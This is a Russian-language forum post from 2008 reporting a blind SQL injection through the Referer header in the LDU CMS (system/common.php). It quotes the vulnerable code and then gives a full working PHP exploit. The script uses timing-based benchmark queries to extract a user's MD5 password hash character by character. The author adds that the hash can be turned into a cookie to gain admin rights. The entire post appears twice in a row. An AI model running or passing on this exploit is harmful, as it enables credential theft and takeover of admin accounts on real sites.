(Dm)
21.04.2008, 13:57
Копался в LDU, нашел sql injection в заголовке Referer.
файл: system/common.php
$sys['referer'] = substr(getenv('HTTP_REFERER'),0,255);
if (@!eregi($cfg['mainurl'], $sys['referer']) && @!eregi($cfg['hostip'],$sys['referer']) && @!eregi(str_replace('www.','',$cfg['mainurl']), $sys['referer']) && !empty($sys['referer']))
{
$sql = ldu_query("SELECT COUNT(*) FROM $db_referers WHERE ref_url = '".$sys['referer']."'");
$count = ldu_result($sql,0,"COUNT(*)");
if ($count>0)
{ $sql = ldu_query("UPDATE $db_referers SET ref_count=ref_count+1, ref_date='".$sys['now_offset']."' WHERE ref_url='".$sys['referer']."'"); }
else
{ $sql = ldu_query("INSERT INTO $db_referers (ref_url,ref_count,ref_date) VALUES ('".$sys['referer']."','1','".$sys['now_offset']."')"); }
}
}
Инъекция без вывода результата, поэтому пришлось использовать ф-ию benchmark;
Вот сплоит:
ps задержка между запросами 10 сек, для того чтобы не нагружать mysql . Проверял вроде работает, правда долго ждать... )))
#!/usr/bin/php
<?
error_reporting(E_ALL);
if ($argc < 3) {
print ($argv[0]." <site> <path> [<id>] [<num>]\n");
print ('
_//
_//
_//_/// _// _//
_// _// _// _/ _//
_/ _// _// _/ _//
_/ _// _// _/ _//
_// _//_/// _/ _//
');
print ('
<site> - адрес сайта [ example.com ]
<path> - путь [ / ]
<id> - id пользователя [ 1 ]
<num> - с какой позиции начать [ 1 ]
Пример:
./getpass 127.0.0.1 /802/
');
exit;
}
// Настройки
define('debug', 0);
define('benchmark', 5555555);
define('start_chr', 48);
define('stop_chr', 90);
define('delay', 10); // задержка в секундах между запросами
define('timeout', 5); //На сколько секунд отличается обычный запрос от запроса с benchmark
$cfg['queryCount'] = 0;
$cfg['host'] = $argv[1];
$cfg['path'] = $argv[2];
$cfg['num'] = (int)@$argv[4];
$cfg['uid'] = (int)@$argv[3];
if ($cfg['num'] == 0) $cfg['num'] = 1;
if ($cfg['uid'] == 0) $cfg['uid'] = 1;
function get_microtime() {
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
function get_data($query) {
GLOBAL $cfg, $session_id;
$buff = '';
$get = "GET http://".$cfg['host'].$cfg['path']."index.php HTTP/1.0\r\n";
$get.= "HOST: ".$cfg['host']."\r\n";
$get.= "Referer: ".$query."\r\n";
$get.= "Cookie: PHPSESSID=".$session_id."\r\n\r\n";
if (debug == 1) print ("\n".$get);
$fp = @fsockopen($cfg['host'], 80, $errno, $errstr, 20);
if (!$fp) {
die ("\nНе могу подключиться к серверу: ".$errstr."\n");
} else {
$cfg['queryCount'] += 1;
fputs($fp, $get);
while (!feof($fp)) {
$buff .= fgets($fp, 254);
}
fclose($fp);
}
unset($buff);
}
function check_request($id, $i, $z) {
GLOBAL $TimeOut, $cfg;
$query = "' union select 1 from ldu_users where user_id=".$cfg['uid']." and if(char(".$id.")".$z."substring(user_password,".$i.",1),benchmark(".benchmark.",md5('beer')),1) #";
if (get_timeout($query) >= $TimeOut) {
return true;
}
return false;
}
function get_char($id, $i, $start, $stop, $z) {
sleep(delay);
if (check_request($id, $i, $z)) {
if(($stop - $id) == 1) {
if (check_request($stop, $i,'=')) {
return $stop;
} else {
return $id;
}
} else {
$curid = $id + (int)(($stop - $id) / 2);
return get_char($curid, $i, $id, $stop, '<');
}
} else {
if (($id - $start) == 1) {
if (check_request($start, $i,'=')) {
return $start;
} else {
return $id;
}
} else {
$curid = $id - (int)(($id - $start) / 2);
return get_char($curid, $i, $start, $id, '<');
}
}
}
function get_timeout($query) {
$start_time = get_microtime();
get_data($query);
$stop_time = get_microtime();
return ($stop_time - $start_time);
}
print ("\n- - - - - - - - - - - - - - - - - - - - - - - \n");
print ("Путь: http://".$cfg['host'].$cfg['path']."index.php\n");
print ("Задержка между запросами: ".delay." сек\n");
print ("Коды получаемых символов: ".start_chr." - ".stop_chr."\n");
print ("Аргумент фии benchmark: ".benchmark."\n");
print ("- - - - - - - - - - - - - - - - - - - - - - - \n\n");
/* Устанавливаем сессию */
$session_id = md5(rand(1, 100).time());
/* Проверка на возможность использоваие benchmark */
print "Проверка на доступность benchmark и mysql >= 4.0\t";
$query = "http://google.com";
$QueryTimeOut = get_timeout($query);
sleep(delay);
$query = "' union select benchmark(".benchmark.",md5('beer')) #";
$BenchTimeOut = get_timeout($query);
$resTime = $BenchTimeOut - $QueryTimeOut;
if ($resTime < timeout)
die("[ Bad ]\n");
print ("[ Ok ]\n");
$TimeOut = $QueryTimeOut + timeout - 1;
print ('Таймаут: '.$TimeOut." сек\n");
print ("[uid = ".$cfg['uid']."] md5 hash ~> ");
/* ----------------------------------- */
$curid = start_chr + (int)((stop_chr - start_chr) / 2);
for ($i = $cfg['num']; $i <= 32; $i++) {
$r1 = get_char($curid, $i, start_chr, stop_chr, '<');
if (!check_request($r1, $i, '='))
die("\nОшибка получения символа на позиции ".$i."\n");
print chr($r1);
}
print ("\nКоличество запросов: ".$cfg['queryCount']."\n");
?>
После получения хеша, формируем cookie и наслождаемся админскими правами, если конечно нет фильтрации по ip... Тхе тхе O_o
файл: system/common.php
$sys['referer'] = substr(getenv('HTTP_REFERER'),0,255);
if (@!eregi($cfg['mainurl'], $sys['referer']) && @!eregi($cfg['hostip'],$sys['referer']) && @!eregi(str_replace('www.','',$cfg['mainurl']), $sys['referer']) && !empty($sys['referer']))
{
$sql = ldu_query("SELECT COUNT(*) FROM $db_referers WHERE ref_url = '".$sys['referer']."'");
$count = ldu_result($sql,0,"COUNT(*)");
if ($count>0)
{ $sql = ldu_query("UPDATE $db_referers SET ref_count=ref_count+1, ref_date='".$sys['now_offset']."' WHERE ref_url='".$sys['referer']."'"); }
else
{ $sql = ldu_query("INSERT INTO $db_referers (ref_url,ref_count,ref_date) VALUES ('".$sys['referer']."','1','".$sys['now_offset']."')"); }
}
}
Инъекция без вывода результата, поэтому пришлось использовать ф-ию benchmark;
Вот сплоит:
ps задержка между запросами 10 сек, для того чтобы не нагружать mysql . Проверял вроде работает, правда долго ждать... )))
#!/usr/bin/php
<?
error_reporting(E_ALL);
if ($argc < 3) {
print ($argv[0]." <site> <path> [<id>] [<num>]\n");
print ('
_//
_//
_//_/// _// _//
_// _// _// _/ _//
_/ _// _// _/ _//
_/ _// _// _/ _//
_// _//_/// _/ _//
');
print ('
<site> - адрес сайта [ example.com ]
<path> - путь [ / ]
<id> - id пользователя [ 1 ]
<num> - с какой позиции начать [ 1 ]
Пример:
./getpass 127.0.0.1 /802/
');
exit;
}
// Настройки
define('debug', 0);
define('benchmark', 5555555);
define('start_chr', 48);
define('stop_chr', 90);
define('delay', 10); // задержка в секундах между запросами
define('timeout', 5); //На сколько секунд отличается обычный запрос от запроса с benchmark
$cfg['queryCount'] = 0;
$cfg['host'] = $argv[1];
$cfg['path'] = $argv[2];
$cfg['num'] = (int)@$argv[4];
$cfg['uid'] = (int)@$argv[3];
if ($cfg['num'] == 0) $cfg['num'] = 1;
if ($cfg['uid'] == 0) $cfg['uid'] = 1;
function get_microtime() {
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
function get_data($query) {
GLOBAL $cfg, $session_id;
$buff = '';
$get = "GET http://".$cfg['host'].$cfg['path']."index.php HTTP/1.0\r\n";
$get.= "HOST: ".$cfg['host']."\r\n";
$get.= "Referer: ".$query."\r\n";
$get.= "Cookie: PHPSESSID=".$session_id."\r\n\r\n";
if (debug == 1) print ("\n".$get);
$fp = @fsockopen($cfg['host'], 80, $errno, $errstr, 20);
if (!$fp) {
die ("\nНе могу подключиться к серверу: ".$errstr."\n");
} else {
$cfg['queryCount'] += 1;
fputs($fp, $get);
while (!feof($fp)) {
$buff .= fgets($fp, 254);
}
fclose($fp);
}
unset($buff);
}
function check_request($id, $i, $z) {
GLOBAL $TimeOut, $cfg;
$query = "' union select 1 from ldu_users where user_id=".$cfg['uid']." and if(char(".$id.")".$z."substring(user_password,".$i.",1),benchmark(".benchmark.",md5('beer')),1) #";
if (get_timeout($query) >= $TimeOut) {
return true;
}
return false;
}
function get_char($id, $i, $start, $stop, $z) {
sleep(delay);
if (check_request($id, $i, $z)) {
if(($stop - $id) == 1) {
if (check_request($stop, $i,'=')) {
return $stop;
} else {
return $id;
}
} else {
$curid = $id + (int)(($stop - $id) / 2);
return get_char($curid, $i, $id, $stop, '<');
}
} else {
if (($id - $start) == 1) {
if (check_request($start, $i,'=')) {
return $start;
} else {
return $id;
}
} else {
$curid = $id - (int)(($id - $start) / 2);
return get_char($curid, $i, $start, $id, '<');
}
}
}
function get_timeout($query) {
$start_time = get_microtime();
get_data($query);
$stop_time = get_microtime();
return ($stop_time - $start_time);
}
print ("\n- - - - - - - - - - - - - - - - - - - - - - - \n");
print ("Путь: http://".$cfg['host'].$cfg['path']."index.php\n");
print ("Задержка между запросами: ".delay." сек\n");
print ("Коды получаемых символов: ".start_chr." - ".stop_chr."\n");
print ("Аргумент фии benchmark: ".benchmark."\n");
print ("- - - - - - - - - - - - - - - - - - - - - - - \n\n");
/* Устанавливаем сессию */
$session_id = md5(rand(1, 100).time());
/* Проверка на возможность использоваие benchmark */
print "Проверка на доступность benchmark и mysql >= 4.0\t";
$query = "http://google.com";
$QueryTimeOut = get_timeout($query);
sleep(delay);
$query = "' union select benchmark(".benchmark.",md5('beer')) #";
$BenchTimeOut = get_timeout($query);
$resTime = $BenchTimeOut - $QueryTimeOut;
if ($resTime < timeout)
die("[ Bad ]\n");
print ("[ Ok ]\n");
$TimeOut = $QueryTimeOut + timeout - 1;
print ('Таймаут: '.$TimeOut." сек\n");
print ("[uid = ".$cfg['uid']."] md5 hash ~> ");
/* ----------------------------------- */
$curid = start_chr + (int)((stop_chr - start_chr) / 2);
for ($i = $cfg['num']; $i <= 32; $i++) {
$r1 = get_char($curid, $i, start_chr, stop_chr, '<');
if (!check_request($r1, $i, '='))
die("\nОшибка получения символа на позиции ".$i."\n");
print chr($r1);
}
print ("\nКоличество запросов: ".$cfg['queryCount']."\n");
?>
После получения хеша, формируем cookie и наслождаемся админскими правами, если конечно нет фильтрации по ip... Тхе тхе O_o